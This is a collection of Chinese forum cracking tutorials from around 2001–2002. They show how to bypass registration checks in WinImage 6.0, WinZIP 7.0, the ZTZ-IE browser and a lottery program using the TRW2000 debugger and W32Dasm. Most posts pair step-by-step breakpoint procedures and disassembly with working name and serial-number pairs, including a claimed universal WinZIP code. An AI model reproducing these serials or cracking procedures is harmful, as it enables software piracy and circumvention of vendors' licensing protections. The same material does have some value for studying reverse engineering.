0167:0040F01E 8945F0 MOV [EBP-10],EAX
0167:0040F021 8D85B4FEFFFF LEA EAX,[EBP-014C]
0167:0040F027 50 PUSH EAX
0167:0040F028 E82A8E0100 CALL 00427E57
0167:0040F02D 8D45F0 LEA EAX,[EBP-10]
0167:0040F030 8D4DEC LEA ECX,[EBP-14]
0167:0040F033 50 PUSH EAX
0167:0040F034 C645FC03 MOV BYTE PTR [EBP-04],03
0167:0040F038 E8F48F0100 CALL 00428031
0167:0040F03D 8D4DF0 LEA ECX,[EBP-10]
0167:0040F040 C645FC02 MOV BYTE PTR [EBP-04],02
0167:0040F044 E8D18C0100 CALL 00427D1A
0167:0040F049 80BDB4FEFFFF77 CMP BYTE PTR [EBP-014C],77
0167:0040F050 7507 JNZ 0040F059
0167:0040F052 C685B4FEFFFF57 MOV BYTE PTR [EBP-014C],57
0167:0040F059 80BDB5FEFFFF62 CMP BYTE PTR [EBP-014B],62
0167:0040F060 7507 JNZ 0040F069
0167:0040F062 C685B5FEFFFF42 MOV BYTE PTR [EBP-014B],42
0167:0040F069 FF75EC PUSH DWORD PTR [EBP-14]
0167:0040F06C FF37 PUSH DWORD PTR [EDI]
0167:0040F06E E85D7D0000 CALL 00416DD0
0167:0040F073 33DB XOR EBX,EBX //ecx 里是假码,是旧版的码
0167:0040F075 59 POP ECX
0167:0040F076 3BC3 CMP EAX,EBX
0167:0040F078 59 POP ECX
0167:0040F079 7542 JNZ 0040F0BD
0167:0040F07B 68ACA44000 PUSH 0040A4AC
0167:0040F080 FF765C PUSH DWORD PTR [ESI+5C]
0167:0040F083 E8487D0000 CALL 00416DD0
0167:0040F088 59 POP ECX
0167:0040F089 3BC3 CMP EAX,EBX
0167:0040F08B 59 POP ECX
0167:0040F08C 742F JZ 0040F0BD
0167:0040F08E 53 PUSH EBX
0167:0040F08F 8D8D58FEFFFF LEA ECX,[EBP-01A8]
0167:0040F095 E823F7FFFF CALL 0040E7BD
0167:0040F09A 8D8D58FEFFFF LEA ECX,[EBP-01A8]
0167:0040F0A0 C645FC05 MOV BYTE PTR [EBP-04],05
0167:0040F0A4 E8FA850100 CALL 004276A3
0167:0040F0A9 8D8D58FEFFFF LEA ECX,[EBP-01A8]
0167:0040F0AF C645FC02 MOV BYTE PTR [EBP-04],02
0167:0040F0B3 E821820100 CALL 004272D9
0167:0040F0B8 E991020000 JMP 0040F34E
0167:0040F0BD DD05381E4000 FLD REAL8 PTR [00401E38]
0167:0040F0C3 8D8558FDFFFF LEA EAX,[EBP-02A8]
0167:0040F0C9 68C0A44000 PUSH 0040A4C0
0167:0040F0CE DD5DE0 FSTP REAL8 PTR [EBP-20]
0167:0040F0D1 50 PUSH EAX
0167:0040F0D2 E8797B0000 CALL 00416C50
0167:0040F0D7 FF765C PUSH DWORD PTR [ESI+5C]
0167:0040F0DA 8D8558FDFFFF LEA EAX,[EBP-02A8]
0167:0040F0E0 50 PUSH EAX
0167:0040F0E1 E87A7B0000 CALL 00416C60
0167:0040F0E6 8B465C MOV EAX,[ESI+5C]
0167:0040F0E9 83C410 ADD ESP,10
0167:0040F0EC 895DD8 MOV [EBP-28],EBX
0167:0040F0EF 8378F800 CMP DWORD PTR [EAX-08],00
0167:0040F0F3 0F8E9A000000 JLE 0040F193
0167:0040F0F9 8D8558FDFFFF LEA EAX,[EBP-02A8]
0167:0040F0FF C745F001000000 MOV DWORD PTR [EBP-10],00000001
0167:0040F106 2945F0 SUB [EBP-10],EAX
0167:0040F109 DD45E0 FLD REAL8 PTR [EBP-20]
0167:0040F10C E8A3730000 CALL 004164B4
0167:0040F111 50 PUSH EAX
0167:0040F112 E8A47C0000 CALL 00416DBB
0167:0040F117 8945E4 MOV [EBP-1C],EAX
0167:0040F11A 8B465C MOV EAX,[ESI+5C]
0167:0040F11D 0FB6941D58FDFFFF MOVZX EDX,BYTE PTR [EBX+EBP-02A8]
0167:0040F125 DB45E4 FILD DWORD PTR [EBP-1C]
0167:0040F128 59 POP ECX
0167:0040F129 8955E8 MOV [EBP-18],EDX
0167:0040F12C 8B48F8 MOV ECX,[EAX-08]
0167:0040F12F 8D841D58FDFFFF LEA EAX,[EBX+EBP-02A8]
0167:0040F136 8B55F0 MOV EDX,[EBP-10]
0167:0040F139 894DD4 MOV [EBP-2C],ECX
0167:0040F13C 03D0 ADD EDX,EAX
0167:0040F13E 8B45E8 MOV EAX,[EBP-18]
0167:0040F141 8955E4 MOV [EBP-1C],EDX
0167:0040F144 99 CDQ
0167:0040F145 DB45E4 FILD DWORD PTR [EBP-1C]
0167:0040F148 F7F9 IDIV ECX
0167:0040F14A DC0D481E4000 FMUL REAL8 PTR [00401E48]
0167:0040F150 DA65D8 FISUB DWORD PTR [EBP-28]
0167:0040F153 B9D3000000 MOV ECX,000000D3
0167:0040F158 0FB6841558FDFFFF MOVZX EAX,BYTE PTR [EDX+EBP-02A8]
0167:0040F160 0FAFC3 IMUL EAX,EBX
0167:0040F163 8945E4 MOV [EBP-1C],EAX
0167:0040F166 8B45E8 MOV EAX,[EBP-18]
0167:0040F169 99 CDQ
0167:0040F16A DB45E4 FILD DWORD PTR [EBP-1C]
0167:0040F16D F7F9 IDIV ECX
0167:0040F16F DEC9 FMULP ST(1),ST
0167:0040F171 43 INC EBX
0167:0040F172 3B5DD4 CMP EBX,[EBP-2C]
0167:0040F175 895DD8 MOV [EBP-28],EBX
0167:0040F178 8945E4 MOV [EBP-1C],EAX
0167:0040F17B DB45E4 FILD DWORD PTR [EBP-1C]
0167:0040F17E DEC1 FADDP ST(1),ST
0167:0040F180 DC05401E4000 FADD REAL8 PTR [00401E40]
0167:0040F186 D8C9 FMUL ST,ST(1)
0167:0040F188 DD5DE0 FSTP REAL8 PTR [EBP-20]
0167:0040F18B DDD8 FSTP ST(0)
0167:0040F18D 0F8C76FFFFFF JL 0040F109
0167:0040F193 DD45E0 FLD REAL8 PTR [EBP-20]
0167:0040F196 E819730000 CALL 004164B4
0167:0040F19B 50 PUSH EAX
0167:0040F19C E81A7C0000 CALL 00416DBB
0167:0040F1A1 8945E4 MOV [EBP-1C],EAX
0167:0040F1A4 8B465C MOV EAX,[ESI+5C]
0167:0040F1A7 DB45E4 FILD DWORD PTR [EBP-1C]
0167:0040F1AA 8B40F8 MOV EAX,[EAX-08]
0167:0040F1AD 59 POP ECX
0167:0040F1AE 83F808 CMP EAX,08
0167:0040F1B1 7D04 JGE 0040F1B7
0167:0040F1B3 B010 MOV AL,10
0167:0040F1B5 EB0B JMP 0040F1C2
0167:0040F1B7 83F80F CMP EAX,0F
0167:0040F1BA 7D04 JGE 0040F1C0
0167:0040F1BC 0408 ADD AL,08
0167:0040F1BE EB02 JMP 0040F1C2
0167:0040F1C0 B017 MOV AL,17
0167:0040F1C2 0FB6C0 MOVZX EAX,AL
0167:0040F1C5 50 PUSH EAX
0167:0040F1C6 8D8558FDFFFF LEA EAX,[EBP-02A8]
0167:0040F1CC 50 PUSH EAX
0167:0040F1CD E8E2720000 CALL 004164B4
0167:0040F1D2 50 PUSH EAX
0167:0040F1D3 E88A2C0100 CALL 00421E62
0167:0040F1D8 83C40C ADD ESP,0C
0167:0040F1DB 8D4DEC LEA ECX,[EBP-14]
0167:0040F1DE 68ACA54000 PUSH 0040A5AC
0167:0040F1E3 E86F8C0100 CALL 00427E57
0167:0040F1E8 A158C04000 MOV EAX,[0040C058]
0167:0040F1ED 8D4DF0 LEA ECX,[EBP-10]
0167:0040F1F0 8945F0 MOV [EBP-10],EAX
0167:0040F1F3 8D8558FDFFFF LEA EAX,[EBP-02A8]
0167:0040F1F9 50 PUSH EAX
0167:0040F1FA E8588C0100 CALL 00427E57
0167:0040F1FF 8D45F0 LEA EAX,[EBP-10]
0167:0040F202 8D4DEC LEA ECX,[EBP-14]
0167:0040F205 50 PUSH EAX
0167:0040F206 C645FC04 MOV BYTE PTR [EBP-04],04
0167:0040F20A E8228E0100 CALL 00428031
0167:0040F20F 8D4DF0 LEA ECX,[EBP-10]
0167:0040F212 C645FC02 MOV BYTE PTR [EBP-04],02
0167:0040F216 E8FF8A0100 CALL 00427D1A
0167:0040F21B FF75EC PUSH DWORD PTR [EBP-14]
0167:0040F21E FF37 PUSH DWORD PTR [EDI]
0167:0040F220 E8AB7B0000 CALL 00416DD0 真假码比较
0167:0040F225 59 POP ECX // d ecx 就是真注册码了
0167:0040F226 85C0 TEST EAX,EAX
0167:0040F228 59 POP ECX
0167:0040F229 7418 JZ 0040F243

name:fwnlfwnl sn: WB-3be64139

这个程序反编译找不到关键部位，不知这是为什么呀?? fwnl
上面的代码是用TRW抓的, 好像用wb和WB也能注册成功 2002.2.28
长沙
****** ***
*** **
******** **** ** *** ****** **
** *** * ** ** ** **
*** ******* *** ** ***
** ** ** ** *** ****
***


Winimage6.00.6000

 标 题:Learn from 井风 in cracking Winimage6.00.6000 (11千字)
发信人:wangliqiang
时 间:2001-9-10 23:58:48
详细信息:
Title: Learn from 井风 in cracking Winimage6.00.6000
Software: Winimage6.00.6000
Downloaded from: http://www.winimag.com
Author: 看雪学苑学员wlq
Tool: trw2000

Procedure:
Step 1. Run trw2000 ,then hide it.
Step 2. Run Winimage6.0
Step 3. Click "Options"-"Registering",fill in the blanks:
name:wlq Registration code:000000
Step 4. Ctrl+n ,call trw2000, bpx hmemcpy ,then press F5.
Step 5. Click "OK", we stop at

:9E62 PUSH BP
:9E63 MOV BP,SP

Step 6. BD *
sTEP 7. Pmodule , We come to the Winimage6.0 land.

After we press F10 thirty-six times, we arrive at
:00434567 BF0CD14400 mov edi, 0044D10C
.
.
.
:00434602 E84ADBFEFF call 00422151
:00434607 83C410 add esp, 00000010 --- The wrong message box springs up.
**************************************************************************

Step 8. Repeat Step 1 to Step 7. Press F10 to find the crucial call.
**********************

:00434567 BF0CD14400 mov edi, 0044D10C

* Possible Ref to Menu: WINIMAGMENU, Item: "Create directory..."
|
:0043456C 6A7F push 0000007F
:0043456E 57 push edi

* Possible Reference to Dialog: REGISTER, CONTROL_ID:0817, ""
|
:0043456F 6817080000 push 00000817
:00434574 FF7508 push [ebp+08]
:00434577 FFD6 call esi
:00434579 68E8D44400 push 0044D4E8
:0043457E 57 push edi
:0043457F 53 push ebx
:00434580 E8535D0000 call 0043A2D8 --- Press F8 ,enter this crucial call.
***********************************************************************************
:00434585 8B0DE8D44400 mov ecx, dword ptr [0044D4E8]
:0043458B 83C40C add esp, 0000000C
:0043458E 33D2 xor edx, edx
:00434590 A3D4D24400 mov dword ptr [0044D2D4], eax
:00434595 3BC2 cmp eax, edx
:00434597 5F pop edi
:00434598 5B pop ebx
:00434599 7406 je 004345A1
:0043459B 890DACD44400 mov dword ptr [0044D4AC], ecx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00434599(C)
|
:004345A1 3915ACD44400 cmp dword ptr [0044D4AC], edx
:004345A7 890D38D74400 mov dword ptr [0044D738], ecx
:004345AD 7505 jne 004345B4
:004345AF A338D74400 mov dword ptr [0044D738], eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004345AD(C)
|
:004345B4 6A01 push 00000001
:004345B6 3BC2 cmp eax, edx
:004345B8 5E pop esi
:004345B9 7529 jne 004345E4
:004345BB 6800200000 push 00002000

* Possible Reference to String Resource ID=01069: "WinImage Registration"
|
:004345C0 682D040000 push 0000042D
:004345C5 8935B4D34400 mov dword ptr [0044D3B4], esi
:004345CB 89350CD54400 mov dword ptr [0044D50C], esi
:004345D1 88150CD14400 mov byte ptr [0044D10C], dl
:004345D7 881510D54400 mov byte ptr [0044D510], dl

* Possible Reference to String Resource ID=01067: "Registering information is invalid"
| __________________________________
:004345E2 EB1B jmp 004345FF

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004345B9(C)
|
:004345E4 6800200000 push 00002000

* Possible Reference to String Resource ID=01069: "WinImage Registration"
|
:004345E9 682D040000 push 0000042D
:004345EE 8915B4D34400 mov dword ptr [0044D3B4], edx
:004345F4 89150CD54400 mov dword ptr [0044D50C], edx

* Possible Reference to String Resource ID=01066: "Your registration code is valid.
You are now a registered us"
| _____________________________________________________________
:004345FA 682A040000 push 0000042A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004345E2(U)
|
:004345FF FF7508 push [ebp+08]
:00434602 E84ADBFEFF call 00422151
**************
:00434607 83C410 add esp, 00000010 --- The wrong box springs up here.
***************************************************

Step 9. After entering the crucial call, we press F10 step by step to look for the
registration key(s).

:0043A2D8 55 push ebp
*************
:0043A2D9 8BEC mov ebp, esp
:0043A2DB 81EC00020000 sub esp, 00000200
:0043A2E1 56 push esi
:0043A2E2 8B7510 mov esi, dword ptr [ebp+10]
:0043A2E5 85F6 test esi, esi --d esi ,we get our name:wlq
:0043A2E7 57 push edi
:0043A2E8 7403 je 0043A2ED
:0043A2EA 832600 and dword ptr [esi], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043A2E8(C)
|
:0043A2ED FF750C push [ebp+0C]
:0043A2F0 8D8500FFFFFF lea eax, dword ptr [ebp+FFFFFF00]
:0043A2F6 50 push eax
:0043A2F7 E8E0FEFFFF call 0043A1DC
:0043A2FC FF7508 push [ebp+08]
:0043A2FF E804FFFFFF call 0043A208
:0043A304 8BF8 mov edi, eax
:0043A306 83C40C add esp, 0000000C
:0043A309 81FF26DDDCB8 cmp edi, B8DCDD26
:0043A30F 0F84FE000000 je 0043A413
:0043A315 8D8500FFFFFF lea eax, dword ptr [ebp+FFFFFF00]
:0043A31B 50 push eax ----d eax , we get our incorrect key:000000
:0043A31C 8D8500FEFFFF lea eax, dword ptr [ebp+FFFFFE00]
:0043A322 57 push edi
:0043A323 50 push eax
:0043A324 E862FFFFFF call 0043A28B
:0043A329 59 pop ecx
:0043A32A 59 pop ecx
:0043A32B 50 push eax

* Reference To: CRTDLL.strcmp, Ord:01CFh
|
:0043A32C E8E93B0000 Call 0043DF1A
:0043A331 59 pop ecx
:0043A332 85C0 test eax, eax
:0043A334 59 pop ecx
:0043A335 0F84A0000000 je 0043A3DB
:0043A33B 8D8500FFFFFF lea eax, dword ptr [ebp+FFFFFF00]
:0043A341 50 push eax -----d eax, get one key:4B0B5B
:0043A342 8D8748190514 lea eax, dword ptr [edi+14051948]
:0043A348 50 push eax
:0043A349 8D8500FEFFFF lea eax, dword ptr [ebp+FFFFFE00]
:0043A34F 50 push eax
:0043A350 E836FFFFFF call 0043A28B
:0043A355 59 pop ecx
:0043A356 59 pop ecx
:0043A357 50 push eax

* Reference To: CRTDLL.strcmp, Ord:01CFh
|
:0043A358 E8BD3B0000 Call 0043DF1A
:0043A35D 59 pop ecx
:0043A35E 85C0 test eax, eax
:0043A360 59 pop ecx
:0043A361 7478 je 0043A3DB
:0043A363 8D8500FFFFFF lea eax, dword ptr [ebp+FFFFFF00]
:0043A369 50 push eax ---d eax , we get our incorrect key:000000
:0043A36A 8D8754190617 lea eax, dword ptr [edi+17061954]
:0043A370 50 push eax
:0043A371 8D8500FEFFFF lea eax, dword ptr [ebp+FFFFFE00]
:0043A377 50 push eax -----d eax, get another key:144D21A0
:0043A378 E80EFFFFFF call 0043A28B
:0043A37D 59 pop ecx
:0043A37E 59 pop ecx
:0043A37F 50 push eax

* Reference To: CRTDLL.strcmp, Ord:01CFh
|
:0043A380 E8953B0000 Call 0043DF1A
:0043A385 59 pop ecx
:0043A386 85C0 test eax, eax
:0043A388 59 pop ecx
:0043A389 7450 je 0043A3DB
:0043A38B 8D8500FFFFFF lea eax, dword ptr [ebp+FFFFFF00]
:0043A391 50 push eax
:0043A392 8D8781190510 lea eax, dword ptr [edi+10051981]
:0043A398 50 push eax
:0043A399 8D8500FEFFFF lea eax, dword ptr [ebp+FFFFFE00]
:0043A39F 50 push eax
:0043A3A0 E8E6FEFFFF call 0043A28B
:0043A3A5 59 pop ecx
:0043A3A6 59 pop ecx
:0043A3A7 50 push eax

* Reference To: CRTDLL.strcmp, Ord:01CFh
|
:0043A3A8 E86D3B0000 Call 0043DF1A
:0043A3AD 59 pop ecx
:0043A3AE 85C0 test eax, eax
:0043A3B0 59 pop ecx
:0043A3B1 7455 je 0043A408
:0043A3B3 8D8500FFFFFF lea eax, dword ptr [ebp+FFFFFF00]
:0043A3B9 50 push eax ---d eax , we get our incorrect key:000000
:0043A3BA 8D8795190104 lea eax, dword ptr [edi+04011995]
:0043A3C0 50 push eax
:0043A3C1 8D8500FEFFFF lea eax, dword ptr [ebp+FFFFFE00]
:0043A3C7 50 push eax d eax, get another key:104D21D9
:0043A3C8 E8BEFEFFFF call 0043A28B
:0043A3CD 59 pop ecx
:0043A3CE 59 pop ecx
:0043A3CF 50 push eax

* Reference To: CRTDLL.strcmp, Ord:01CFh
|
:0043A3D0 E8453B0000 Call 0043DF1A
:0043A3D5 59 pop ecx
:0043A3D6 85C0 test eax, eax
:0043A3D8 59 pop ecx
:0043A3D9 7505 jne 0043A3E0

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0043A335(C), :0043A361(C), :0043A389(C)
|
:0043A3DB 6A01 push 00000001
:0043A3DD 58 pop eax
:0043A3DE EB35 jmp 0043A415

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043A3D9(C)
|
:0043A3E0 8D8500FFFFFF lea eax, dword ptr [ebp+FFFFFF00]
:0043A3E6 81C797190602 add edi, 02061997 ---d eax , we get our incorrect key:000000
:0043A3EC 50 push eax
:0043A3ED 8D8500FEFFFF lea eax, dword ptr [ebp+FFFFFE00]
:0043A3F3 57 push edi d eax, get another key:44921ED
:0043A3F4 50 push eax
:0043A3F5 E891FEFFFF call 0043A28B
:0043A3FA 59 pop ecx
:0043A3FB 59 pop ecx
:0043A3FC 50 push eax

To sum up ,with the user's name:wlq , we get altogether four keys:4B0B5B,144D21A0,104D21D9,44921ED.


WinZIP7.0（SR-1)

 标 题:破解 WinZIP7.0（SR-1)手记！*（我是新手不要笑我水平太菜，欢迎初学者进来看看！）* (2千字)
发信人:同心是我
时 间:2001-10-17 20:34:13
详细信息:
破解 WinZIP7.0（SR-1)
作　　者：同心是我
破解时间：2001-10-17
软件简介：解压缩软件中的老大，以前我一直都用它，现在偶尔用。
下　　载：网上到处都有！
限　　制：每次使用时，会出现请你注册的提示，看到它实在是烦。
破解工具：TRW 1.20
难　　度：超易（入门级破解）

◆◆◆◆◇◇◇◇◆◆◆◆◇◇◇◇◆◆◆◆◇◇◇◇◆◆◆◆◇◇◇◇◆◆◆◆
我刚开始学破解没多长时间，今天拿WinZIP7.0（SR-1)来测试一下自己的学习情况，
希望各位高手看后别笑我水平太菜，请多多给我帮助和指导，谢谢！
好了，废话少说，我们上路吧！
运行WinZIP7.0（SR-1)，点击“Enter Registration Code“按钮，
进入注册提示窗口，填写： Name:tongxinshiwo Registration :1234567890
按Ctrl＋N激活TRW，
输入 bpx hmemcpy ←…… 下断点
输入 g ←…… 继续运行
返回注册窗口，点击 OK
又返回TRW，你会在屏幕下方看到：
Break on BP1 ←…… 拦截成功
输入 bc * ←…… 清除断点
输入 pmodule ←…… 等于按F12若干次
这时，在屏幕中间你能看到绿色的那一行：
015F:0040801A PUSH EBX
接下来你需要做的就是一直按F10到
015F:0040805C CALL 00407B4B
再按F8进入CALL，出现
015F:00407B4B PUSH EBP
按F10（好长时间的，注意不要按过了。）到
015F:00407C53 PUSH EAX
好了，找到注册码了。
输入 d eax ←…… 察看注册码
屏幕右上方PROT32下面会有一个8位数字，赶快记下来吧！我的是：62657298
按F5回到WinZIP7.0（SR-1)注册窗口，重新输入你看到的注册码，就可以看到注册
成功了。

Name: tongxinshiwo
Registration : 62657298

到这里，WinZIP7.0（SR-1)的注册破解已经结束了，可有的初学者还想弄个中文注册名，
破解方法同上，不再一一啰嗦。
在这儿我想提醒一下各位，不论你在Name中输入什么样的中文注册名，得到的注册码始终
都是： 00990000 （不要问我为什么，我是初学者，我也不知道，请问Crack中的高手
高手高高手吧！）

Name： 只要里面没有英文字母就行了！
Registration : 00990000
注意：有一个英文字母都不行，注册名可以是汉字、数字、各种标点符号、还有其他符号，
或者是这几种的组合。比如注册名可以是：看雪学院、00990000、“”《》、＋－×÷、
ⅢⅲΓγ、←→↑↓、★■◆●▲等等只要注册名里没有英文字母就行了。

WinZIP7.0（SR-1)的注册名和注册码在WinZIP8.0中也适用。行了，现在，你也可以把
WinZIP用自己的中文名字注册了，要不用些稀奇古怪的符号来当注册名也行，怎么样它
是不是已经属于你的了。

这是我第一次写破解手记，不足之处请大家多多指出，谢谢！

同心是我 372.net@371.net

★破解很容易学的，只要你有信心和毅力再加上适当的破解工具软件，相信你也会成为
破解高手的，让我们一起进步吧！★
◆◆◆◆◇◇◇◇◆◆◆◆◇◇◇◇THE END◇◇◇◇◆◆◆◆◇◇◇◇◆◆◆◆


ZTZ-IE网络浏览器2.0

 标 题:花两分钟破解ZTZ-IE网络浏览器2.0贺岁版[入门看] (4千字)
发信人:leeyam
时 间:2002-2-10 21:22:03
详细信息:
花两分钟破解ZTZ-IE网络浏览器2.0贺岁版[入门看]
今天实在无聊，准备随便下载个软件破破！到天空软件站看看有什么新软件值得一用。看了看介绍，这个还不错〔夸的还不错！〕下！谁知，只用了两分钟…还是无聊，那就练练打字吧！

安装后检测是否加壳，什么壳也没有！那就下一步吧！
打开W32Dasm，载入该软件，找到字串“密码正确，注册成功！”，看看上面

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0047FC07(C)
|
:0047FC42 8D55F8 lea edx, dword ptr [ebp-08]
:0047FC45 8B86EC020000 mov eax, dword ptr [esi+000002EC]
:0047FC4B E8C8E3FAFF call 0042E018
:0047FC50 8B45F8 mov eax, dword ptr [ebp-08]
:0047FC53 50 push eax
:0047FC54 8D55F0 lea edx, dword ptr [ebp-10]
:0047FC57 8B86E0020000 mov eax, dword ptr [esi+000002E0]
:0047FC5D E8B6E3FAFF call 0042E018
:0047FC62 8B45F0 mov eax, dword ptr [ebp-10]
:0047FC65 8D55F4 lea edx, dword ptr [ebp-0C]
:0047FC68 E85FFDFFFF call 0047F9CC
:0047FC6D 8B55F4 mov edx, dword ptr [ebp-0C]
:0047FC70 58 pop eax
:0047FC71 E8A242F8FF call 00403F18
:0047FC76 7533 jne 0047FCAB <== 直觉：注册码不正确就跳，跳过去看看！
:0047FC78 BA0B000000 mov edx, 0000000B

* Possible StringData Ref from Code Obj ->"Yire"
|
:0047FC7D B850FD4700 mov eax, 0047FD50
:0047FC82 E8E92E0000 call 00482B70
:0047FC87 6A40 push 00000040

* Possible StringData Ref from Code Obj ->"祝贺你"
|
:0047FC89 B958FD4700 mov ecx, 0047FD58

* Possible StringData Ref from Code Obj ->"密码正确，注册成功！"
|
:0047FC8E BA60FD4700 mov edx, 0047FD60
:0047FC93 A120CA4800 mov eax, dword ptr [0048CA20]
:0047FC98 8B00 mov eax, dword ptr [eax]
:0047FC9A E85DCAFCFF call 0044C6FC
:0047FC9F A130D94800 mov eax, dword ptr [0048D930]
:0047FCA4 E86F96FCFF call 00449318
:0047FCA9 EB3B jmp 0047FCE6

从上面跳过来，果然会出现出错界面！
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0047FC76(C)
|
:0047FCAB A148CB4800 mov eax, dword ptr [0048CB48]
:0047FCB0 83381E cmp dword ptr [eax], 0000001E
:0047FCB3 7C0F jl 0047FCC4
:0047FCB5 BA01000000 mov edx, 00000001

* Possible StringData Ref from Code Obj ->"Yire"
|
:0047FCBA B850FD4700 mov eax, 0047FD50
:0047FCBF E8AC2E0000 call 00482B70

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0047FCB3(C)
|
:0047FCC4 6A40 push 00000040

* Possible StringData Ref from Code Obj ->"警告"
|
:0047FCC6 B978FD4700 mov ecx, 0047FD78

* Possible StringData Ref from Code Obj ->"密码不正确！"
|
:0047FCCB BA80FD4700 mov edx, 0047FD80
:0047FCD0 A120CA4800 mov eax, dword ptr [0048CA20]
:0047FCD5 8B00 mov eax, dword ptr [eax]
:0047FCD7 E820CAFCFF call 0044C6FC
:0047FCDC A130D94800 mov eax, dword ptr [0048D930]
:0047FCE1 E83296FCFF call 00449318

好了，目标明确，进入
:0047FC71 E8A242F8FF call 00403F18
的Call就可以找到注册码！
现在轮到trw了！
运行ZTZ-IE网络浏览器2.0贺岁版，随意输入用户名即注册码；
运行trw，下中断：
bpx 0047fc71
再按F5回到注册界面，按下确认键，立刻trw闪亮登场！！
BC * 清除中断，D eax 看到我输入的注册码，d edx 当然是正确的注册码咯！
现在过了一分五○秒，还有一○″时间进去看看。
F8 键进入：
:00403F18 53 push ebx
:00403F19 56 push esi
:00403F1A 57 push edi
:00403F1B 89C6 mov esi, eax
:00403F1D 89D7 mov edi, edx
:00403F1F 39D0 cmp eax, edx <== 这里是是非比较处！
:00403F21 0F848F000000 je 00403FB6 <== 是就跳
:00403F27 85F6 test esi, esi
:00403F29 7468 je 00403F93
:00403F2B 85FF test edi, edi
:00403F2D 746B je 00403F9A
:00403F2F 8B46FC mov eax, dword ptr [esi-04]
:00403F32 8B57FC mov edx, dword ptr [edi-04]
:00403F35 29D0 sub eax, edx
:00403F37 7702 ja 00403F3B
:00403F39 01C2 add edx, eax

结果，用户名：leeyam 注册码：vyvjyssvsx
简简单单，搞定！又开始无聊了！现在就上网试试刚刚破的网络浏览器吧！


博奥彩票白金版

 标 题:申请加入BCG之第二篇！博奥彩票白金版破解---破解初学者之呕血篇 (5千字)
发信人:红潮风暴
时 间:2001-10-6 19:16:09
详细信息:
申请加入BCG之第二篇！博奥彩票白金版破解---破解初学者之呕血篇
软件名称：博奥彩票白金版
下载地点：http://www.boao.con.cn
破 解 者：红潮风暴
时 间：2001-04-01
破解工具：TRW2000
整 理: 2001-10-06
这个软件其实是徒有虚名（不能猜中奖的），我看了某个网页的介绍说某某人用它中了什么什么的大奖，小弟就把它当下了也想发发横财。但是用了却它根本没中过什么奖，想来就有一肚子火（小弟迷上了彩票也买了快三年多了，钱花了不少就没中过奖运气也真背的，谁知~~~~~用了这捞什么软件花的钱就更多了，全扔水里了。~~~~）。这是我第一次玩破解破的软件,看了井风兄的博奥彩票黄金版破解就匆匆忙忙的破解开了。我那时只有TRW而且不太会用，破解它全是靠不断的下D命令花了我半个多钟搞得头昏脑胀才得出注册码的~~~。为了加入BCG就将它整理出来了充数，写的不好或有不当之处请大家指正。

1。运行TRW2000
2。运行RETATE。EXE 点击帮助--注册，看到随机码2414812878316799删除掉，然后输入86357241。 呼出TRW。下断点BPX HMEMCPY 拦住后清除断点.领空后按F12 七次，按F10来到此处：
016F:00560A3A NOP
016F:00560A3B NOP
016F:00560A3C PUSH EBP
016F:00560A3D MOV EBP,ESP
016F:00560A3F ADD ESP,FFFFFF60
016F:00560A45 PUSH EBX
016F:00560A46 PUSH ESI
016F:00560A47 PUSH EDI
016F:00560A48 MOV [EBP+FFFFFF64],EAX
016F:00560A4E MOV EAX,006D2D80
016F:00560A53 CALL 0067D5B0
016F:00560A58 MOV EDX,[EBP+FFFFFF64]
016F:00560A5E MOV ECX,[EDX+02C4]
016F:00560A64 MOV EAX,[ECX+01F8]
016F:00560A6A SUB EAX,BYTE +02
016F:00560A6D JC 00560A74
016F:00560A6F JMP 005610D1
016F:00560A74 MOV WORD [EBP+FFFFFF78],14
016F:00560A7D XOR EDX,EDX
016F:00560A7F MOV [EBP-04],EDX
016F:00560A82 LEA EDX,[EBP-04]
016F:00560A85 INC DWORD [EBP-7C]
016F:00560A88 MOV EAX,[EBP+FFFFFF64]
016F:00560A8E MOV EAX,[EAX+02D0]
016F:00560A94 CALL 006398FC
016F:00560A99 MOV WORD [EBP+FFFFFF78],08
016F:00560AA2 MOV WORD [EBP+FFFFFF78],20
016F:00560AAB XOR EDX,EDX
016F:00560AAD MOV EAX,75
016F:00560AB2 MOV [EBP-08],EDX
016F:00560AB5 LEA EDX,[EBP-08]
016F:00560AB8 INC DWORD [EBP-7C]
016F:00560ABB CALL 00508C9C
016F:00560AC0 MOV WORD [EBP+FFFFFF78],08
016F:00560AC9 MOV WORD [EBP+FFFFFF78],2C
016F:00560AD2 XOR ECX,ECX
016F:00560AD4 MOV [EBP-0C],ECX
016F:00560AD7 LEA EAX,[EBP-0C]
016F:00560ADA INC DWORD [EBP-7C]
016F:00560ADD CALL 00507184
016F:00560AE2 MOV WORD [EBP+FFFFFF78],08
016F:00560AEB MOV WORD [EBP+FFFFFF78],38
016F:00560AF4 XOR EDX,EDX
016F:00560AF6 MOV EAX,7F
016F:00560AFB MOV [EBP-10],EDX
016F:00560AFE LEA EDX,[EBP-10]
016F:00560B01 INC DWORD [EBP-7C]
016F:00560B04 CALL 00508C9C
016F:00560B09 MOV WORD [EBP+FFFFFF78],08
016F:00560B12 MOV WORD [EBP+FFFFFF78],44
016F:00560B1B XOR ECX,ECX
016F:00560B1D MOV [EBP-24],ECX
016F:00560B20 LEA EDX,[EBP-24]
016F:00560B23 INC DWORD [EBP-7C]
016F:00560B26 MOV EAX,[EBP+FFFFFF64]
016F:00560B2C MOV EAX,[EAX+02D0]
016F:00560B32 CALL 006398FC
016F:00560B37 LEA EAX,[EBP-24]
016F:00560B3A MOV EAX,[EAX]
016F:00560B3C XOR EDX,EDX
016F:00560B3E MOV [EBP-28],EDX
016F:00560B41 LEA EDX,[EBP-28]
016F:00560B44 INC DWORD [EBP-7C]
016F:00560B47 CALL 00505914
016F:00560B4C LEA EAX,[EBP-28]
016F:00560B4F MOV EAX,[EAX]
016F:00560B51 XOR EDX,EDX
016F:00560B53 MOV [EBP-14],EDX
016F:00560B56 LEA EDX,[EBP-14]
016F:00560B59 INC DWORD [EBP-7C]
016F:00560B5C CALL 00505914
016F:00560B61 DEC DWORD [EBP-7C]
016F:00560B64 LEA EAX,[EBP-28]
